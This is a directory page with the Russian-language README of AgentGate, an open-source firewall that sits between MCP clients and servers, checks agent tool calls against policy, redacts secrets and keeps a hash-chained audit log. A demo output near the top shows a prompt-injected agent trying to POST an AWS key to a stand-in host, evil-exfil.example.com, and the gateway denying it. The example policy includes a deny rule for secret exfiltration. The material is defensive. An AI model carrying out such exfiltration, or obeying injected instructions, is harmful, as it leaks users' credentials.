Skip to main content
Glama

AgentGate

Межсетевой экран с открытым исходным кодом для ИИ-агентов. AgentGate располагается между MCP-клиентом (например, Claude Code) и нижестоящими MCP-серверами, с которыми он общается, оценивает каждый вызов инструмента в соответствии с политикой, которую вы контролируете, и ведёт защищённый от несанкционированного вмешательства журнал аудита того, что произошло.

AgentGate Control Center — живая временная шкала разрешённых и запрещённых вызовов инструментов

Заблокированная атака, от начала до конца

Агент, внедрённый через prompt injection, пытается выкрасть ключ AWS по HTTP. AgentGate отклоняет его, редактирует ключ до того, как он попадёт на диск, и записывает проверяемый журнал аудита — всё это на основе реального, включённого в репозиторий кода политики и шлюза, а не макета:

Simulated attack: prompt-injected agent attempts to
POST an AWS API key to an external server.

Tool called: network.request
Target URL:  https://evil-exfil.example.com/collect

Gateway Response: {
  content: [ { type: 'text', text: '[AgentGate] Denied by rule "block-secret-exfiltration": ...' } ],
  isError: true
}
Step 1 — Policy decision: ✅ DENIED

Verifying Audit Records in DB...
✅ PASS — 1 audit event found.
✅ PASS — Event status is DENIED.
✅ PASS — Event arguments are flagged as redacted.
✅ PASS — The raw AWS key is ABSENT from the persisted data.

Verifying Tamper-Evident Hash Chain...
✅ PASS — Audit chain verified (2 records).

Запустите сами: node examples/secret-exfiltration/demo.mjs (см. Демонстрация и проверка).

Related MCP server: Proofpane

Статус проекта

Ранняя разработка / MVP исследовательского качества. AgentGate реализует настоящий движок политик, настоящий MCP stdio-прокси, настоящее защищённое от несанкционированного вмешательства хранилище аудита и настоящий пользовательский интерфейс Control Center — всё это покрыто исполняемыми тестами и сквозной демонстрацией атаки (см. docs/VERIFICATION.md). Он не готов к продакшену: нет аутентификации, кроме локального токена на каждый запуск, нет поддержки нескольких пользователей, нет воспроизведения, а поддержка протокола MCP в настоящее время — только устаревший stdio эпохи 2025 года (см. Поддерживаемые интеграции). Прочтите docs/THREAT_MODEL.md, прежде чем полагаться на него для чего-либо чувствительного.

Пятиминутное быстрое начало

Требуется Node.js 20+ и pnpm (см. .nvmrc / packageManager в package.json). Всё ниже — локально для репозитория; публичный npm-пакет не требуется.

git clone https://github.com/chidhvilasa/agentgate.git
cd agentgate
pnpm install --frozen-lockfile
pnpm run build

# Validate the example policy
node packages/gateway/dist/cli.js validate policies/agentgate.example.yml

# Start the gateway (proxies to the official MCP filesystem server over stdio)
node packages/gateway/dist/cli.js start examples/agentgate.yml

Шлюз выводит локальный URL Control Center и одноразовый токен аутентификации в stderr при запуске. Откройте URL, вставьте токен по запросу и укажите вашему MCP-клиенту (например, Claude Code) на команду stdio шлюза вместо прямого обращения к нижестоящему серверу. Полное пошаговое руководство, включая запуск Control Center в режиме разработки, см. в docs/QUICKSTART.md.

Как вписывается AgentGate

 MCP client              AgentGate gateway                 Downstream MCP server
(Claude Code, …)  ─────▶  stdio proxy → policy engine  ─────▶  (filesystem, network, …)
                              │                 │
                              ▼                 ▼
                         audit storage     Control Center
                          (SQLite,          (local web UI,
                        hash-chained)      loopback only)

AgentGate говорит на MCP с обеих сторон: он является сервером для вашего MCP-клиента и клиентом для реального нижестоящего MCP-сервера. Каждый вызов инструмента, который он пересылает, уже был оценён, и каждое решение — разрешить, запретить, отредактировать или удержать для одобрения человеком — записывается до того, как вызов достигнет (или будет удержан от достижения) реального сервера. Полную диаграмму последовательности см. в docs/ARCHITECTURE.md.

Основные возможности

  • Движок политик — декларативные правила YAML, сопоставляемые по агенту, инструменту, пути, команде, хосту и содержимому секретов; первое совпадение выигрывает; безопасный отказ по умолчанию.

  • Четыре типа решенийallow, deny, require_approval (человек в цикле, с ограничением по времени, одноразовое) и allow_with_transform (редактировать определённые поля, затем переслать).

  • Глубокая редакция секретов — шаблоны ключей AWS/GitHub/OpenAI/Anthropic, bearer-токены, заголовки приватных ключей и строки подключения к БД обнаруживаются и редактируются в каждой сохраняемой записи аудита, независимо от решения.

  • Защищённый от несанкционированного вмешательства журнал аудита — каждое событие представляет собой запись с SHA-256 хеш-цепочкой, только добавление, в SQLite; agentgate audit verify независимо повторно проходит и проверяет цепочку.

  • Control Center — локальный веб-интерфейс, доступный только через loopback: живая временная шкала SSE, очередь одобрений, детали каждого события с отображением редакции и хеш-цепочки, а также текущая загруженная политика.

  • Защита от path traversal — аргументы пути нормализуются (../. разрешаются, разделители унифицируются) перед сопоставлением или сохранением.

Пример политики

version: 1

defaults:
  decision: deny

rules:
  - id: allow-project-reads
    description: Allow reading files inside the project root.
    agents: ["claude-code"]
    tools: ["read_file", "list_directory"]
    paths: ["${PROJECT_ROOT}/**"]
    decision: allow

  - id: approve-file-writes
    description: Require approval before writing any file.
    tools: ["write_file", "create_directory"]
    decision: require_approval
    approval_ttl_seconds: 120

  - id: block-secret-exfiltration
    description: Block network requests that appear to carry secrets or API keys.
    tools: ["network.*", "fetch", "http_request"]
    contains_secrets: true
    decision: deny

Полный справочник полей, семантика сопоставления и рабочие примеры: docs/POLICY_REFERENCE.md.

CLI

agentgate start [config.yml]     # Start the gateway (default: ./agentgate.yml)
agentgate validate [policy.yml]  # Validate a policy file (default: ./agentgate.policy.yml)
agentgate audit verify [config]  # Independently re-verify the tamper-evident audit chain

agentgate — это packages/gateway/dist/cli.js после pnpm run build (ещё не опубликован в npm — см. Статус проекта). Запускайте его как node packages/gateway/dist/cli.js <команда> из корня репозитория или через workspace bin изнутри packages/gateway.

Control Center

Локальный React-интерфейс, обслуживаемый Vite в разработке и доступный по control_port, настроенному в вашем YAML-файле шлюза:

  • Обзор — живой индикатор риска, счётчики разрешённых/запрещённых/ожидающих, недавние события с высоким риском.

  • Временная шкала — каждый перехваченный вызов инструмента в реальном времени через Server-Sent Events.

  • Одобрения — ожидающие запросы require_approval с обратным отсчётом до истечения TTL; отказ — визуально основное действие.

  • Детали события — полный след решения, отредактированные аргументы и позиция события в хеш-цепочке.

  • Политики — текущий загруженный файл политики и справочник типов решений (только для чтения в этой вехе).

Он аутентифицируется с помощью случайного токена на каждый запуск (выводится в stderr шлюза при запуске), отправляемого в заголовке x-agentgate-token или как параметр запроса token для потока SSE. См. Модель безопасности для того, от чего это защищает, а от чего нет.

Поддерживаемые интеграции

Интеграция

Транспорт

Эпоха протокола

Статус

Доказательства

Claude Code (и любой MCP-клиент, использующий устаревший stdio-транспорт)

stdio

только устаревшая эпоха 2025 года

Поддерживается

packages/gateway/src/transport/stdio.ts; проверяется сквозным тестом examples/secret-exfiltration/demo.mjs

Любой нижестоящий MCP-сервер через stdio

stdio

устаревшая эпоха 2025 года

Поддерживается

packages/gateway/src/pipeline.ts (executeDownstream), packages/gateway/src/config/registry.ts

Современный stateless MCP (2026-07-28)

HTTP/stateless

современная

Не реализовано

Отложено ADR-0005; тип McpEra существует в packages/protocol для прямой совместимости, но сегодня генерируется только 'legacy-2025'

Нижестоящие MCP-серверы через streamable HTTP

HTTP

Не реализовано

packages/gateway/src/config/registry.ts принимает HttpServerSchema в конфигурации, но pipeline.ts выполняет только stdio-серверы

Если вам нужна поддержка современной эпохи или HTTP-транспорта сегодня, AgentGate пока не подходит — следите за ADR-0005 для статуса.

Модель безопасности и ограничения

AgentGate считает идентичность агента недоверенной: declared_name/declared_version являются самоотчётом и используются только для отображения, никогда для авторизации (verified_identity всегда false). Решения политики принимаются исключительно на основе имени инструмента, нормализованного пути, команды, хоста и обнаруженного содержимого секретов.

Что доказывает, а что не доказывает цепочка аудита: SHA-256 хеш каждой записи аудита покрывает хеш предыдущей записи, поэтому тихое редактирование или удаление прошлой записи разрывает цепочку, и agentgate audit verify это обнаружит. Это защита от несанкционированного вмешательства, а не от подделки, и не даёт гарантии неотказуемости — локальный администратор с доступом к файловой системе к базе данных SQLite может заменить весь файл и заново сгенерировать самосогласованную цепочку с нуля. Внешнего якоря нет. Полную модель, включая косвенный prompt injection, вредоносные нижестоящие серверы, повтор одобрений и риски отказа в обслуживании, которые эта веха ещё не смягчает, см. в docs/THREAT_MODEL.md.

Архитектура

Обязанности компонентов, системные диаграммы и диаграммы последовательности, модель данных аудита и границы доверия: docs/ARCHITECTURE.md.

Демонстрация и проверка

node examples/secret-exfiltration/demo.mjs   # end-to-end attack demo (self-cleaning, writes to a temp dir)
pnpm run test                                # unit/integration tests (policy + gateway)
pnpm run lint                                # type-aware lint gate across the whole workspace

Всё, что утверждают демонстрация и набор тестов, перекрёстно проверено в docs/VERIFICATION.md.

Разработка и вклад

Структура рабочего пространства, запуск шлюза и Control Center локально, добавление правил политики и тестов: docs/DEVELOPMENT.md. Процесс внесения вклада, ожидания по влиянию на безопасность для PR и соглашения о журнале решений: CONTRIBUTING.md. Нашли уязвимость? См. SECURITY.md — пожалуйста, не открывайте публичный issue.

Лицензия

Apache License 2.0.

A
license - permissive license
Not graded
quality - not tested
B
maintenance

Maintenance

Maintainers
Response time
Release cycle
Releases (12mo)
Commit activity

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Servers

  • F
    license
    Not graded
    quality
    Not graded
    maintenance
    A transparent proxy and execution firewall that intercepts and audits AI agent tool calls against configurable security policies before forwarding them to downstream MCP servers. It provides safe execution environments with features like data redaction, anti-loop protection, and unified alert dispatching.
  • A
    license
    B
    quality
    A
    maintenance
    A governance proxy for AI tools — every MCP/agent tool call is policy-gated, secret-redacted, and written to a hash-chained, offline-verifiable audit trail.
    13
    MIT
  • A
    license
    Not graded
    quality
    B
    maintenance
    A policy-enforcing MCP gateway that intercepts all tool calls to downstream MCP servers, applying allow/deny/ask rules with human approval and audit logging for safe access to dangerous tools.
    23
    MIT
  • F
    license
    Not graded
    quality
    C
    maintenance
    MCP server that provides a security gateway for AI agents, enforcing allow/confirm/deny policies on tool calls and requiring human approval for risky operations, with full audit logging.

View all related MCP servers

Related MCP Connectors

  • Security firewall for AI agents — scans MCP calls for injection, secrets, and risks.

  • Crypto transaction firewall and risk tools for MCP agents.

  • See, price, and control every tool call your AI agents make: policy checks, cost, and audit tools.

View all MCP Connectors

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/chidhvilasa/agentgate'

If you have feedback or need assistance with the MCP directory API, please join our Discord server